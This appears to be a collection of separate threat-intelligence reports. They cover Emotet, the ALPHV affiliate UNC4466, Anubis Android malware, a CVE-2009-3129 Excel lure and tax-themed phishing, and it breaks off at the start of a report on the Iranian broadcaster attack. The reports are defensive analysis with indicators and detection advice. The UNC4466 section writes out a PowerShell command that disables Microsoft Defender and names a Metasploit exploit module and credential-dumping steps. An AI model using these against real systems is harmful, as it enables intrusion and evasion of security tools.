EtterSilent came into favour with the cybercriminal community in 2021. Although its first mention dates to 2020, the term was really popularized on Exploit and XSS during the spring of 2021. EtterSilent was already considered at that time as a very efficient maldoc builder with low detection rates from security tools.
The economic model seems/seemed to be constituted around a subscription offer, which can be purchased by members. The threat actor also sold the ‘EtterSilent Encrypt Edition’ builder so intrusion sets could operate the tool themselves, offering an unlimited use of the tool for an initial price of 3000 dollars, lowered to 2500 dollars at the end of the operations (on November 30, 2021).
AshkERE is still present today with a similar username on Exploit and XSS and remains an active user even after having closed the EtterSilent sales thread. He no longer appears to be publicly selling EtterSilent, but possibly privately.
### Links with Other Malwares?
It is worth noting that a similar Excel document analyzed in this report and used to spread Emotet was also observed to deliver additional malwares such as Bumblebee and IcedID, two major players in the current threat landscape. While analyzing the network traffic of such payload upon dynamic malware analysis, a communicating IP address drew our attention. We indeed noticed the previously seen Emotet C2 (182.162.143[.]56).
Bumblebee infection started with a downloaded PowerShell script (‘tps1.ps1’) used to download an additional dll (‘bb.dll’) associated with the malware. The extracted config from this Bumblebee dll reveals the following information about the malware:
- Botnet ID: 0311t2
- List of C2:
- 39.65.8[.]170:443
- 103.144.139[.]156:443
- 107.189.30[.]231:443
- 91.245.254[.]101:443
- 194.135.33[.]127:443
Bumblebee’s configuration is contained inside the .data section of the binary amongst the RC4 encrypted strings. The RC4 decryption key is hard coded in this section in plain text. We then observe that once Bumblebee is executed, the infected machine communicates with a C2 (103.144.139[.]156) that was discovered in the extracted list from the configuration.
We can also observe connections to an IP address (87.251.67[.]168) associated with the IcedID malware. This address resolves the domain spkdeutshnewsupp[.]com from which we could pivot and gather additional hashes of IcedID samples.
As far as other types of threats are concerned, a recent report from Proofpoint showed that Emotet is delivering a new module that executes XMRig (the most common Monero miner). Consequently, detecting Emotet often means that the attack is more thorough than expected and conversely the detection of coinminers/loaders shall not be overlooked.
## Code Analysis of a Recent Emotet Sample
To better understand Emotet’s recent evolutions and new features, we proceeded to a code analysis of a recent sample of this malware. Hash of the analyzed sample (sha256: 06b3d3c50da5054b9e37fb6c429c560484be457a09a900b21b5185cf10128ed4). First, we carried on a static analysis of such a sample. The high entropy of the .text section of the binary suggests that this malware is probably packed. This is also suggested by the presence of randomized unreadable strings in the sample.
At this stage of the analysis, the sample was loaded into the debugger x64dbg to unpack Emotet. For that purpose, a breakpoint was set on calls to some Windows APIs such as “VirtualAlloc” (allocating memory). Once this breakpoint is reached, it is possible to observe in the return of the VirtualAlloc function that the malware allocates memory space and wrote a binary (MZ) in the RAX register.
Once the binary is unpacked, we obtain the final Emotet payload which is a 64bit dll. At first glance, the static analysis of the dll seems particularly difficult because of the heavy code obfuscation used. Simple expressions were transformed into mathematical operations repeated multiple times. Sometimes the results of these operations are passed in a function that will never be used in the program.
IP addresses and ports of the C2 servers are obfuscated in functions, each of those functions corresponding to one specific C2. Instead of having those constants in the code, Emotet’s developers are using a series of logical operations to build them. However, it is easy to bypass this obfuscation technique since the display of those constants has been automatically simplified in pseudocode. Therefore, the effort of the developers of Emotet to hinder analysis of the malware’s code appears completely moot.
Since Emotet chose obfuscation over encryption to hide its C2 configuration, we could simply emulate those functions, or even run them in a debugger to retrieve IP/port information in plain text.
As far as Emotet 64-bit emulation is concerned, we used “Dumpulator” to emulate the function returning the C2’s information. A further innovation of recent Emotet samples lies in the way it encrypts its network communications. Previously, Emotet was used to hide its C2 HTTP network traffic via an AES symmetric key encrypted by a hard-coded RSA public key. Emotet now uses an Elliptic Curve Diffie-Hellman (EDCH) public key. Furthermore, Emotet uses a hard-coded Elliptic-curve digital Signature Algorithm (ECDSA) public key for data validation.
From the studied unpacked sample, we could retrieve the following information:
- ECDH: MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuwTyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+5
- ECDSA: MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9XoovpqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY
## Infrastructure
After having extracted the configuration of different samples, we managed to retrieve several IP addresses of command-and-control servers with which the payloads communicate. The configurations vary according to the samples and allow us to identify which payload is part of Epoch4 or Epoch5 according to its encryption key.
We cross-referenced these addresses with the command-and-control servers referenced on Feodo Tracker. Some were still active while others had been disconnected after being publicly reported. The configurations contained IP addresses associated with specific ports (TCP ports like 80 (http) or 443 (https), or on different ports (8080, 7080, …)).
After a careful analysis of which service listing on such ports communicate with the payloads, we systematically found a nginx proxy server. This was deduced from the response headers returned from a simple get request method to fetch data. While trying to find a differentiating element on these servers, we noticed a certain similarity: most of those servers exposed legitimate web services next to the service used for command & control on a different port.
## Conclusion
The present report provides a straightforward and up-to-date analysis of the ongoing Emotet campaign, presently distributing hundreds of thousands of emails per day. This investigation highlights notable changes in the modus operandi of Emotet’s operators (TA545), such as new ways to social engineer its victims to execute malicious documents used to deploy Emotet. Beyond these new methods leveraged by Emotet for initial access, the present report suggests that the change in the obfuscation technique of the main payload does not hinder an easy extraction of the configuration of the malware. This shows that Emotet’s developers may not understand how modern decompilers actually work. We also showed that since its return, Emotet has been seen dropping IcedID and Bumblebee malwares via Epoch 4 botnets. We anticipate that further variants and techniques will surface in the future with fewer or greater volumes of spam.
The present report also provides several tips to analyze the whole attack chain leveraged by Emotet as well as some recommendations to defend against it.
## Actionable Content
As we have seen in the main text, Emotet spreaders were forced to adapt and now try to lure users by attempting them to copy the maldoc into a whitelisted directory path on the disk. We recommend monitoring any execution of XLS files arising from those directories. It is also recommended to make employees aware of this new technique via sensibilization training sessions and simulated phishing attacks.
Emotet is known to be highly polymorphic (i.e., the ability of code to change its identifiable features while maintaining its functionality) and tends to embed more and more threatening modules. Emotet often repacks its dropper and changes its modules loaded to stay ahead of signature-based detection solutions. Although its functionalities might not vary that much, these changes are enough to bypass pattern-matching and footprint detection. More subtle detection (EDR, behavioral analysis) would be required to detect the initial infection.
We draw your attention to one checker and complementary tools:
- A relevant free tool to defend against Emotet, which is dubbed EmoCheck, was released a while ago by the JPCERT (available on their Github repository). This checker might be relevant particularly for forensics teams when they investigate workstations or servers that might have been infected by Emotet. Emocheck-ReportChecker can also be helpful as it generates statistics out of numerous Emocheck reports.
- Another relevant tool named EmoKill. This program was inspired from the detection rules of Emocheck and was compiled and shared on Github.
To draft this report, Intrinsec studied commonalities of XLS maldocs sent to Emotet’s victims as spearphishing attachments. One common metadata that could be leveraged on VirusTotal Intel for hunting purposes goes as follows:
- magic: “CDF V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, * Author: Gydar, Last Saved By: Gydar*, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jun 04 18:19:34 2015, Security: 0”
The code page identifier 1251 refers to Windows Cyrillic-Slavic encoding, mostly used by Russians, Bulgarians, Serbians and Macedonians. It is also worth noting that all results of the aforementioned query on VT have the same filesize of 255 kB.
Several SIGMA detection rules could be leveraged to detect an attack by Emotet malware:
- A YARA detection rule provided by The DFIR Report.
- To detect all threats mentioned in this report (Emotet, IcedID, BumbleBee), defenders can also rely on relevant Abuse threat intel sources such as Feodotracker, ThreatFox and MalwareBazaar as well as the soon available Intrinsec’s IoCs feed.
## Indicators of Compromise
IoCs are available at [GitHub - Intrinsec/IOCs](https://github.com/Intrinsec/IOCs/tree/main/Emotet). |
# ALPHV Ransomware Affiliate Targets Vulnerable Backup Installations to Gain Initial Access
Mandiant has observed a new ALPHV (aka BlackCat ransomware) ransomware affiliate, tracked as UNC4466, target publicly exposed Veritas Backup Exec installations, vulnerable to CVE-2021-27876, CVE-2021-27877, and CVE-2021-27878, for initial access to victim environments. A commercial Internet scanning service identified over 8,500 installations of Veritas Backup Exec instances that are currently exposed to the internet, some of which may still be unpatched and vulnerable. Previous ALPHV intrusions investigated by Mandiant primarily originated from stolen credentials, suggesting a shift to opportunistic targeting of known vulnerabilities. This blog post covers the UNC4466 attack lifecycle, indicators, and detection opportunities.
ALPHV emerged in November 2021 as a ransomware-as-a-service that some researchers have claimed is the successor to BLACKMATTER and DARKSIDE ransomware. While some ransomware operators enacted rules to avoid impacting critical infrastructure and health entities, ALPHV has continued to target these sensitive industries.
## Timeline
- In March 2021, Veritas published an advisory reporting three critical vulnerabilities in Veritas Backup Exec 16.x, 20.x, and 21.x.
- On September 23, 2022, a Metasploit module was released which exploits these vulnerabilities and creates a session which the threat actor can use to interact with the victim system.
- On October 22, 2022, Mandiant first observed exploitation of the Veritas vulnerabilities in the wild.
## Attack Phases
### Initial Compromise and Establish Foothold
In late 2022, UNC4466 gained access to an internet-exposed Windows server, running Veritas Backup Exec version 21.0 using the Metasploit module `exploit/multi/veritas/beagent_sha_auth_rce`. Shortly after, the Metasploit persistence module was invoked to maintain persistent access to the system for the remainder of this intrusion.
### Internal Reconnaissance
After gaining access to the Veritas Backup Exec server, UNC4466 used Internet Explorer, the browser installed by default on older Windows systems, to download Famatech’s Advanced IP Scanner from its website. This tool is capable of scanning individual IP addresses or IP address ranges for open ports and returns hostnames, operating system, and hardware manufacturer information. UNC4466 also made use of ADRecon to gather network, account, and host information in the victim’s environment. When executed by a privileged domain account, ADRecon generates several reports about the Active Directory environment, including the Trusts, Sites, Subnets, password policies, user and computer account listings. These reports can be generated in a variety of formats, including CSV, XML, JSON, and HTML.
### Ingress Tool Transfer
UNC4466 made heavy use of the Background Intelligent Transfer Service (BITS) to download additional tools such as LAZAGNE, LIGOLO, WINSW, RCLONE, and finally the ALPHV ransomware encryptor.
### Command and Control
UNC4466 leveraged SOCKS5 tunneling to communicate with compromised systems in the victim network. This technique is typically used to evade network defenses or other preventative network controls. Two separate tools were deployed to execute this technique, LIGOLO and REVSOCKS.
### Escalate Privileges
The threat actor utilized multiple credential access tools, including Mimikatz, LaZagne, and Nanodump to gather clear-text credentials and credential material. In November 2022, UNC4466 utilized the MIMIKATZ Security Support Provider injection module (`MISC::MemSSP`). This module collects credentials in clear text as they are used, by manipulating the Local Security Authority Server Service (LSASS) on victim systems. This module creates a file named `C:\Windows\System32\mimilsa.log`. Nanodump was also used to dump LSASS memory. Like the examples shown on Helpsystems' GitHub page, the output file specified was a file in the `C:\Windows\Temp` directory.
### Defense Evasion
During operations, UNC4466 takes steps to evade detection. Apart from clearing event logs, UNC4466 also used the built-in Set-MpPreference cmdlet to disable Microsoft Defender’s real-time monitoring capability.
```powershell
powershell.exe Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue
```
### Command and Control
UNC4466 made use of BITS transfers (using the Start-BitsTransfer PowerShell cmdlet) to download various resources to the staging directory `c:\ProgramData`. Using this technique, SOCKS5 tunneling tools, REVSOCKS and LIGOLO were downloaded from their official GitHub repositories.
### Complete Mission
UNC4466 deploys the Rust-based ALPHV ransomware. In late 2022, UNC4466 added immediate tasks to the default domain policy. These tasks were configured to perform actions which disabled security software, downloaded the ALPHV encryptor, then executed it.
## Exposure
As of this blog post's date, one commercial Internet scanning service reported over 8500 IP addresses which advertise the "Symantec/Veritas Backup Exec ndmp" service on the default port 10000, as well as port 9000 and port 10001. While this search result does not directly identify vulnerable systems, as the application versions were not identifiable, it demonstrates the prevalence of Internet-exposed instances that could potentially be probed by attackers.
## Detection Opportunities
Defenders should place priority on monitoring internet-exposed Veritas Backup Exec Windows installations, for versions before 21.2. Mandiant observed the exploitation of Veritas Backup Exec can leave a noticeable imprint on the Backup Exec log files. Where feasible, these log files should be forwarded to a SIEM or similar technology which enables detection and alerting when certain events are recorded.
In addition to any available network connection logging, Veritas Backup Exec logs will record evidence of connections to remote systems.
```
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] + ndmpd.cpp (nnn):
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] | Session 1 started
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] - sslOpen() : Opening SSL for: 0x00000
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] - sslOpen(): certinfo = 0x00000; sslConn = 0x00000
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpcomm] - ndmpRun: Control connection accepted : connection established between end-points [Server IP]:10000 and [Remote IP]:[remote port]
```
These connections should be triaged for any unknown IP addresses. Additionally, these logs can also record the execution of suspicious pre and post backup job commands.
```
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] - SetPreCommandEnvironment: Could not obtain the BE Job ID to pass to the command C:\Windows\System32\cmd.exe /c "C:\Windows\Temp\[random chars].exe"
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] - Could not obtain the BE Job Name to pass to the command C:\Windows\System32\cmd.exe /c "C:\Windows\Temp\[random chars].exe"
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpsrvr] - At least one of the Pre / Post Command environment variables could not be set
[nnnn] YYYY-mm-ddTHH:MM:SS.sss [ndmp\ndmpcomm] - ndmp_readit: Caught message on closed connection. Socket 0x8e0 len 0x0
```
## Outlook
Mandiant recommends implementing secure access controls, segmenting networks, enabling multi-factor authentication, and regularly testing and evaluating backup strategies to limit the impact of a ransomware attack. Additionally, organizations should inventory externally facing services and reduce the attack surface available to attackers.
## MITRE ATT&CK
Mandiant has observed UNC4466 use the following techniques:
### Impact
- T1486: Data Encrypted for Impact
- T1489: Service Stop
- T1490: Inhibit System Recovery
- T1529: System Shutdown/Reboot
### Execution
- T1047: Windows Management Instrumentation
- T1053: Scheduled Task/Job
- T1053.005: Scheduled Task
- T1059.001: PowerShell
- T1059.006: Python
- T1569.002: Service Execution
### Defense Evasion
- T1027: Obfuscated Files or Information
- T1027.002: Software Packing
- T1027.009: Embedded Payloads
- T1055: Process Injection
- T1070.001: Clear Windows Event Logs
- T1070.004: File Deletion
- T1112: Modify Registry
- T1134: Access Token Manipulation
- T1134.001: Token Impersonation/Theft
- T1222: File and Directory Permissions Modification
- T1497: Virtualization/Sandbox Evasion
- T1497.001: System Checks
- T1548.002: Bypass User Account Control
- T1562.001: Disable or Modify Tools
- T1564.010: Process Argument Spoofing
- T1574.011: Services Registry Permissions Weakness
- T1620: Reflective Code Loading
- T1622: Debugger Evasion
- T1484.001: Domain Policy Modification: Group Policy Modification
### Discovery
- T1007: System Service Discovery
- T1012: Query Registry
- T1016: System Network Configuration Discovery
- T1033: System Owner/User Discovery
- T1057: Process Discovery
- T1082: System Information Discovery
- T1083: File and Directory Discovery
- T1087: Account Discovery
- T1135: Network Share Discovery
### Persistence
- T1543: Create or Modify System Process
- T1543.003: Windows Service
- T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
### Command and Control
- T1095: Non-Application Layer Protocol
- T1105: Ingress Tool Transfer
### Lateral Movement
- T1021.001: Remote Desktop Protocol
### Collection
- T1213: Data from Information Repositories
### Resource Development
- T1583.003: Virtual Private Server
## Indicators of Compromise
- da202cc4b3679fdb47003d603a93c90d: MIMIKATZ
- 5fe66b2835511f9d4d3703b6c639b866: NANODUMP
- 1f437347917f0a4ced71fb7df53b1a05: LIGOLO
- b41dc7bef82ef384bc884973f3d0e8ca: REVSOCKS
- c590a84b8c72cf18f35ae166f815c9df: Sysinternals PSEXEC
- 24b0f58f014bd259b57f346fb5aed2ea: WINSW
- e31270e4a6f215f45abad65916da9db4: REVSOCKS
- 4fdabe571b66ceec3448939bfb3ffcd1: Advanced Port Scanner
- 68d3bf2c363144ec6874ab360fdda00a: LAZAGNE
- ee6e0cb1b3b7601696e9a05ce66e7f37: ALPHV
- f66e1d717b54b95cf32154b770e10ba4: METASPLOIT
IP Addresses:
- 45.61.138.109
- 185.141.62.123
- 5.199.169.209
- 45.61.138.109:45815
- 45.61.138.109:43937
- 45.61.138.109:36931
- 5.199.169.209:31600
- 45.61.138.109:41703
- 185.99.135.115:39839
- 185.99.135.115:41773
- 45.61.138.109:33971
- 185.141.62.123:50810
- 185.99.135.115:49196 |
# Mobile Malware Analysis: Tricks used in Anubis
Anubis is my first case of complicated Android malware and taught me so much about Android malware. I want to share these learnings in this post. Anubis is almost one year old but its impact is much higher than older banker families and the campaign is still going on.
## Anubis Capabilities
Anubis is full of tricks. List of capabilities:
- Steal information with overlay attacks from banking apps
- Ransomware
- SMS interception / Call forwarding
- RAT
- Keylogger
To spread malware, generally Google Play Store is used.
## Downloaders
Anubis generally consists of two parts: downloader and payload. If malware spreads over third-party sites, such as flash updates, it only downloads the payload of Anubis. But if malware spreads over Google Play Store, it uses the downloader. This is necessary because if the payload of Anubis is used, it will be detected by Play Protect easily. To download the payload, fake applications are deployed on the Play Store.
How does an application download and install another application? Easy, with `REQUEST_INSTALL_PACKAGES` permission. In the current state of Play Store, this permission is more dangerous than any other one. Users need to check if this permission is in the permission list.
## Social Engineering
Malware needs to lower the suspicion of the user after installation. Anubis downloaders use little but strong steps to make the user believe it is a legitimate app. Generally, these fake applications will be finance-related apps, such as Currency Converter.
After installing, the app will remove itself from the home screen. If you try to remove malware from settings, a system error will show up.
## System Update
After the user installs the downloader, the app will download the second stage of the attack, the payload. The name of the downloaded APK will be either `Sistem Guncellemesi`, `Operator Guncellemesi`, `Flash Update`, or `Yazilim Guncellemesi`. Icons of these apps are designed to make users believe they are legitimate apps.
After the downloader gets the payload app from the command and control server, a prompt will be shown to the user. The user needs to activate third-party installation and press yes to the prompt screen. Then the app will be installed. After the user opens it, the app will ask for permissions, then nothing will be shown, and the app will disappear from the app list.
## Persistence
In desktop malware, malware will write itself to the Startup folder to get persistence. For Android malware, there is `RECEIVE_BOOT_COMPLETED`. With this receiver, the app can open itself in the background when the device is booted.
## Accessibility
Accessibility Services run in the background and receive callbacks by the system when AccessibilityEvents are fired. Anubis tracks all accessibility events and checks event types. If you open a new app, the window state will change, and an event will trigger.
To remove malware, you probably go to Settings. The malware checks if the triggered event comes from `com.android.settings`. If certain strings in the event description hold, an activity is triggered that opens an AlertDialog saying "System apps cannot be deleted."
## Keylogger
Anubis uses `TYPE_VIEW_CLICKED`, `TYPE_VIEW_FOCUSED`, and `TYPE_VIEW_TEXT_CHANGED` events. Every input box you click/focus and write text into will trigger one of these events. With accessibility, the app can press buttons without user interaction.
## Play Protect
Even though malware is installed on the device from the downloader without being flagged, Play Protect will constantly scan the device if it's enabled and will flag the Anubis app as malware. To overcome this, malware tries to disable Play Protect.
## Package List
When malware is installed, the first thing it does is list installed packages and send it to the command and control server. This can be used for phishing users.
## Overlay Attack
Overlay attack is one of the techniques used by malware to collect user information. When targeted apps are opened, malware triggers and pulls a phishing page that overlays over the targeted app.
## Process Scanning
Malware needs to know that the user just opened a specific app to create a believable overlay scenario. It gets the running process list and identifies the top process.
## Battery Issues
Running in a forever loop can cause battery issues. To avoid this, malware requests `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS` permission.
## SMS Interception and Call Forwarding
Malware has `SMS_READ` permission for reading SMS, which is often used for OTP codes. Additionally, malware requests to be the default SMS app, allowing it to delete SMS from the device.
## Conclusion
Two permissions for two stages of Anubis: `REQUEST_INSTALL_PACKAGES` and `PACKAGE_USAGE_STATS` are related to core components of the malware to fool users.
I hope you learned something new about Android malware. If you have any questions, feel free to ask me @0xabc0. |
# CVE-2009-3129
**CVE-2009-3129** affects Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2. It allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, also known as "Excel Featheader Record Memory Corruption Vulnerability."
Update: Noticed an interesting post by Nart Villeneuve (Internet Censorship Explorer) regarding this malware and decided to update and resurrect the post.
---
**Human Rights and Malware Attacks**
Download `EIDHR.xls` and all the files described below as a password protected archive (contact me if you need the password).
---
From: [email protected]
Sent: Friday, May 28, 2010 2:31 AM
To: XXXXXX
Subject: 關於EIDHR項目
各位,
關於EIDHR歐洲人權項目我詳細咨詢了歐盟的朋友,爲了使申請能順利通過,還須補充一些資料,具體資料項目和内容概要都附在後面了,祝各位順利。
張英
From: SHARPE Simon (RELEX-BEIJING)
Sent: Monday, May 24, 2010 6:15 PM
Subject: FW: EIDHR 项目征求书
大家好:
欧盟现在有一个EIDHR的项目征求。项目的目的在于资助推动人权的项目,涵盖的领域很广泛。大家可以跟其他感兴趣的朋友分享这个信息。
**项目活动的主题**
具有以下主题的计划书会受到优先考虑:
1. 思考自由,宗教自由和信仰自由的权利
2. 言论和表达的自由,包括艺术和文化的表达,信息和沟通的权利,包括媒体自由,反对审查和网络自由
3. 和平集会和结社自由的权利,包括建立和参加工会的权利
4. 在一国境内自由行动的权利,离开任何国家(包括本国)和回到本国的权利
**项目活动**
项目活动可以包括从监督,倡导,公开信息,提高意识到能力建设,培训以及与利益攸关者对话等一系列形式。最终目标都是为了提高所在国的公民社会组织的自主权。
项目的资助总额最低为15万欧元,最高为120万欧元。项目的延续时间应不少于18个月,但不超过3年。比较重要的是附件中的项目指导,首先需要提交一个简短的项目概念书,申请的最后期限是6月15日。项目申请时要填写链接中的Annex A,B,C等表格。
**申请有两种方法:**
1. 通过PADOR系统注册申请。
2. 或将申请所需的项目概念书以及表格A,B,C寄往如下地址:
**邮寄地址**
European Commission
EuropeAid Co-operation Office
Unit F4 – Finances, Contracts and Audit for thematic budget lines
Call for Proposals Sector
Office: L-41 03/154
B - 1049 Brussels
BELGIUM
**快递地址**
European Commission
EuropeAid Cooperation Office
Unit F4 – Finances, Contracts and Audit for thematic budget lines
Call for Proposals Sector
Office: L-41 03/154
Central Mail Service
Avenue du Bourget 1
B-1140 Brussels (Evère)
BELGIUM
如果需要更多的信息,请随时与我们联系。谢谢!
欧盟驻华代表团夏明
---
**Keylogging**
In a few minutes after the reboot, we find a file named Explorer in the %systemroot%. Explorer is a text log of all explorer.exe activities. This is a common type of keylogger.
**Additional Information**
File size: 64166 bytes
MD5: 4f681733fd9e473c09f967fa87c9faef
Excel successfully opens, displaying hello, and a Chinese font set as default. The properties show that it was created on a Lenovo (Beijing) Limited laptop.
**Files created**
1. `%userprofile%\Local Settings\Temp\1001.tmp`
2. `C:\WINDOWS\ntshrui.dll`
3. `%userprofile%\Local Settings\Temp\set.xls`
Upon reboot, it is copied to system32 as well.
File: `ntshrui.dll`
MD5: d52ef63fdc5c5452d9da23bd6d4bf0f5
Size: 10720
The file `ntshrui.dll` is digitally signed - signature is invalid.
**TCP Traffic**
Traffic to `117.85.151.96:3460` indicates communication with `360liveupdate.com`, which is hosted on a server in China.
**Domain Information**
Domain Name: 360LIVEUPDATE.COM
Registrar: XIN NET TECHNOLOGY CORPORATION
Name Server: NS1.ORAY.NET
Name Server: NS2.ORAY.NET
Status: ok
Updated Date: 29-jul-2009
Creation Date: 29-jul-2009
Expiration Date: 29-jul-2010
---
If you need more information, please feel free to contact us. Thank you! |
# Security Brief: Threat Actors Pair Tax-Themed Lures With COVID-19, Healthcare Themes
**April 14, 2021**
## Threat Insight
On 30 March 2021, the United States Internal Revenue Service (IRS) issued a security alert detailing an ongoing email-based IRS impersonation campaign primarily targeting educational institutions. Impacted people included university and college students and staffers using “.edu” email addresses.
Educational institutions are not the only organizations that financially motivated threat actors have set their sights on using tax-themed lures. Proofpoint observed similar threats impacting dozens of verticals from manufacturing to healthcare to energy. This year is a bit different. Threat actors take advantage of every tax season by mounting tax-themed campaigns that aim to steal money and sensitive information. What makes 2021 unique are the continuing and unprecedented pandemic, healthcare, and financial crises that these threat actors are combining with typical tax lures in the ongoing campaigns Proofpoint observed.
These findings demonstrate threat actors are agile and flexible and take current events into account in their campaign development to maximize their advantage and encourage victims to fall for their tactics.
Proofpoint observed over 30 tax-themed malicious email campaigns totaling over 800,000 email messages so far in 2021. These include attempts to compromise personal email accounts or steal sensitive personal data for likely financial gain. Proofpoint also observed multiple campaigns aligned with business email compromise activities. Such attacks can be used to facilitate payroll fraud, costing victim organizations millions of dollars.
## Campaign Trends
So far in 2021, Proofpoint identified over 30 discrete campaigns targeting thousands of people from multiple threat actors that leveraged malicious email lures associated with taxes, tax and refund support, and government revenue entities. At least four threat actor groups tracked by Proofpoint have leveraged tax-themed malicious email campaigns.
Credential theft phishing attempts – which can be used to target individuals or leveraged for email account takeovers – accounted for 40% of the tax-themed email campaigns, followed by remote access trojan (RAT) campaigns at 17%. However, despite RATs featuring in fewer campaigns, they were far more popular in total message volume. Half of identified tax-themed and related messages containing malware were used to distribute the Remcos RAT, a commodity malware with extensive data theft and surveillance capabilities. Other broad tax-themed malware distribution campaigns included Dridex, TrickBot, and ZLoader.
Over the course of 2020, threat actors began increasingly leveraging Excel 4.0 (XL4) macros to distribute malware, and this trend has continued in 2021. Proofpoint observed a 500% increase in tax-themed email threat campaigns delivering weaponized XL4 Macros in the first three months of 2021. Proofpoint assesses this is due to limited detection coverage in modern security systems.
## Campaign Samples
### TrickBot
One of the most prolific IRS-themed malware campaigns leveraged IRS tax credit distribution for employee retention lures benefiting employers impacted by COVID-19. This campaign identified in March 2021 contained over 18,000 messages to over 2,000 target entities. It distributed the TrickBot banking trojan, designed to steal banking information and acts as an initial payload for additional malware, gaining notoriety in 2018 for distributing Ryuk ransomware.
Unlike typically observed activity, this TrickBot campaign distributed malicious Excel files leveraging the XLSB filetype, a lightweight file format that can only be opened in Excel. Proofpoint assesses with moderate confidence the threat actor leveraged this document format as it is less likely to be detected by anti-virus systems.
### Dridex
The threat actor Proofpoint tracks as TA575 distributed emails purporting to be from IRS representatives associated with the American Rescue Plan. The emails contained links to download Microsoft Excel documents containing macros that, when enabled, downloaded the Dridex malware designed to steal banking and other personal information.
The American Rescue Plan, signed into law on 11 March 2021, aimed to provide financial relief to people and businesses in the U.S. The TA575 campaign, which began in early March, included almost 16,000 messages and impacted over 1,800 organizations across dozens of verticals.
### Consumer Credential Phishing
Tax-themed phishing attacks also occur globally, and one campaign Proofpoint identified posed as the United Kingdom’s tax and customs authority, HM Revenue and Customs (HMRC). As part of the country’s COVID-19 response, HMRC introduced multiple Self-Employment Income Support Schemes allowing people financially impacted by the pandemic to claim financial aid.
The malicious email campaign that began in mid-February 2021 distributed messages with links that led to a fake Self-Employment HMRC tax themed authentication page designed to harvest user credentials.
### TA574
Typical IRS-themed lures remain popular. The cybercrime actor TA574 sent almost 40,000 messages in one campaign using lures posing as the IRS and financial representatives. TA574 is an actor operating at a large scale that indiscriminately targets multiple industries and attempts to deliver and install malware like banking trojans. The IRS-themed emails contained malicious Microsoft Excel documents that requested victims enable macros to view content, thereby downloading and executing the ZLoader malware on a victim machine.
### New Client Tax Lures
One small campaign identified in March 2021 leverages subjects purporting to be requests from new clients or tax filing assistance. The emails begin with a benign request for tax preparation assistance from "John Stevens" and his wife. The emails target financial and accounting organizations in North America. If the recipient replies, they then receive a follow-up email with a URL linking to a document that uses macros to drop a downloader that pulls in NetWire RAT. NetWire is typically used by criminal threat actors targeting a wide range of organizations including financial services, businesses, medical companies, and educational institutions.
Proofpoint researchers observed similar campaigns since 2018. Proofpoint assesses with high confidence the same threat actor is responsible for these campaigns. This actor targets accounting, financial, and related industries typically around tax season.
## Conclusion
Tax season is a popular time for threat actors to conduct email-based attack campaigns designed to steal sensitive information for financial gain. In 2021, threat actors are often combining current events such as COVID-19 or healthcare themes alongside typical tax lures to further entice victims.
To reduce the risk of successful exploitation, Proofpoint recommends the following:
- Train users to spot and report malicious email. Regular training and simulated attacks can stop many attacks and help identify people who are especially vulnerable. The best simulations mimic real-world attack techniques. Look for solutions that tie into real-world attack trends and the latest threat intelligence.
- Assume that users will eventually click some threats. Attackers will always find new ways to exploit human nature. Find a solution that spots and blocks inbound email threats targeting employees before they reach the inbox. Invest in a solution that can manage the entire spectrum of email threats, not just malware-based threats. Some threats—including business email compromise (BEC) and other forms of email fraud—can be hard to detect with conventional security tools. Your solution should analyze both external and internal email—attackers may use compromised accounts to trick users within the same organization. Web isolation can be a critical safeguard for unknowns and risky URLs.
- Manage access to sensitive data and insider threats. A cloud access security broker can help secure cloud accounts and help you grant the right levels of access to users and third-party add-on apps based on the risk factors that matter to you. Insider risk management platforms can help protect against insider threats, including users compromised by external attacks.
- Partner with a threat intelligence vendor. Focused, targeted attacks call for advanced threat intelligence. Leverage a solution that combines static and dynamic techniques at scale to detect new attack tools, tactics, and targets—and then learns from them. |
# EvilPlayout: Attack Against Iran’s State Broadcaster
February 18, 2022
In the past few months, a new wave of cyberattacks has been flooding Iran. These attacks are far from minor website defacements – the recent wave is hitting national infrastructure and causing major disruptions to public services. This article provides an in-depth technical analysis of one of the attacks against the Iranian national media corporation, Islamic Republic of Iran Broadcasting (IRIB), which occurred in late January 2022.
## Key findings
On January 27, Iranian state broadcaster IRIB became the subject of a targeted cyberattack that resulted in several state-run TV channels broadcasting footage of opposition leaders and calling for the assassination of the supreme leader. The Check Point Research team investigated this attack and was able to retrieve the files and forensics evidence related to the incident from publicly available resources.
We found malicious executables whose purpose was to air the protest message. In addition, we discovered evidence that a wiper malware was used. This indicates that the attackers’ aim was also to disrupt the state’s broadcasting networks, with the damage to the TV and radio networks possibly more serious than officially reported.
Among the tools used in the attack, we identified malware that takes screenshots of the victims’ screens, several custom-made backdoors, and related batch scripts and configuration files used to install and configure the malicious executables. We could not find any evidence that these tools were used previously or attribute them to a specific threat actor. In this article, we provide a technical analysis of the tools related to the attack, as well as the attackers’ tactics.
## Background
### Cyberattacks Hit Iran
